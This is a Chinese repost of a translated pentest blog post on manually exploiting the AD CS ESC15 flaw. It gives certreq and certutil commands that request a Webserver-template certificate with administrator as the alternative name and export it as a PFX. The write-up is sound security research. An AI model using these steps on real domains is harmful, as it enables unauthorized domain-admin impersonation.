AD CS ESC15 漏洞实例的特殊案例及其手动利用

admin 2025年2月17日21:22:02评论16 views字数 2010阅读6分42秒阅读模式
【翻译】Curious case of AD CS ESC15 vulnerable instance and its manual exploitation

在这篇博文中,我们将探讨当域用户对 Webserver 模板具有注册权限时,如何手动利用 AD CS ESC15 漏洞实例。

概述

在一次评估中,我与 Dominic 先生交谈时,他提到了由 TrustedSec 团队发现的 AD CS ESC15 漏洞。

在一次内部基础设施渗透测试中,我和同事注意到一个易受 ESC15 漏洞影响的 webserver 模板,但在我们的案例中,面临以下挑战:

  • 不是"Domain Computers",而是"Domain Users" AD 组对 Webserver 模板具有注册权限。因此,该 webserver 模板在 Windows Certificate Enrollment 向导中不可见。

  • AD CS RPC 端点在咨询顾问机器上被防火墙阻止。

  • AD CS web 注册接口未启用。

当前设置显示 Domain Users 组对 Webserver 证书模板具有注册权限。但是,另一台 Windows 主机显示域用户无法使用 webserver 模板发出证书请求:

AD CS ESC15 漏洞实例的特殊案例及其手动利用

手动利用

为了利用它,我决定使用 Windows certreq 二进制文件创建并提交证书请求。为此,我们需要一个包含所有必要信息的 INF 文件(从这里下载),其中包括:

  • Subject name(第 5 行)
  • Alt Name(第 27 行)

以及

  • 在 Application Policies 扩展下设置的 Client Authentication 属性(已配置)

配置完 INF 文件中的参数后,让我们继续进行利用步骤。

生成证书签名请求(CSR)

打开命令提示符/PowerShell 并执行以下命令来创建 CSR 文件:

certreq -new web.inf b0x8.csr
AD CS ESC15 漏洞实例的特殊案例及其手动利用

现在,我们有了一个需要提交给 AD Certificate Authority 的 CSR 文件。

AD CS ESC15 漏洞实例的特殊案例及其手动利用

提交生成的 CSR

要查找 Certificate Authority(CA) 地址,执行以下命令:

certutil -dump | findstr Config
AD CS ESC15 漏洞实例的特殊案例及其手动利用

在下面的命令中,指定 CA 地址(-config 参数的值)、CSR 文件名(b0x8.csr)和证书文件名(administrator.cer)

certreq -submit -q -config "DC01.queen.indishell.labqueen-DC01-CA" b0x8.csr administrator.cer

成功的请求将返回"Certificate retrieved Issued"消息:

AD CS ESC15 漏洞实例的特殊案例及其手动利用

安装和提取证书

现在,从 CA 服务器颁发的证书 (administrator.cer) 中提取证书的 Thumbprint。

使用以下命令:

certutil -dump administrator.cer | findstr /c:"Cert Hash(sha1)" | for /f "tokens=3-22" %f in ('more') do @echo %f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%w%x%y
AD CS ESC15 漏洞实例的特殊案例及其手动利用

执行以下命令将颁发的证书安装到当前用户的证书存储区:

certreq -accept administrator.cer

安装颁发的证书后,它将在当前登录用户的证书存储区中可用:

AD CS ESC15 漏洞实例的特殊案例及其手动利用

要将这个新安装的证书提取为 PFX 格式,需要指定一个您选择的密码(在我的例子中是 b0xed@33),我们在上一步中提取的证书指纹,以及用于存储 PFX 证书的输出文件名(在我的例子中是 administrator.pfx)

certutil -exportPFX -user -p b0xed@33 My 2fde2333dd3c0748b3057d9dd958d01f53ccb5d6  administrator.pfx

certutil 命令成功将证书及其私钥导出为 PFX 格式:

AD CS ESC15 漏洞实例的特殊案例及其手动利用

要验证所请求证书的详细信息(如 Subject Alternative Name 和 Application Policies 扩展的属性)是否正确设置,请执行以下命令并从已颁发的证书中导出详细信息

certutil -dump administrator.cer

命令输出显示证书是使用 Webserver 模板请求的,在 Application Policies 扩展下设置了 Client Authentication 属性,并且 Subject Alternative Name 被设置为 administrator:

AD CS ESC15 漏洞实例的特殊案例及其手动利用

要进行进一步的利用,请使用 CertiPy 工具或 PasstheCert 工具,详见 https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html 这篇博客文章

原文始发于微信公众号(securitainment):AD CS ESC15 漏洞实例的特殊案例及其手动利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月17日21:22:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AD CS ESC15 漏洞实例的特殊案例及其手动利用http://cn-sec.com/archives/3752873.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息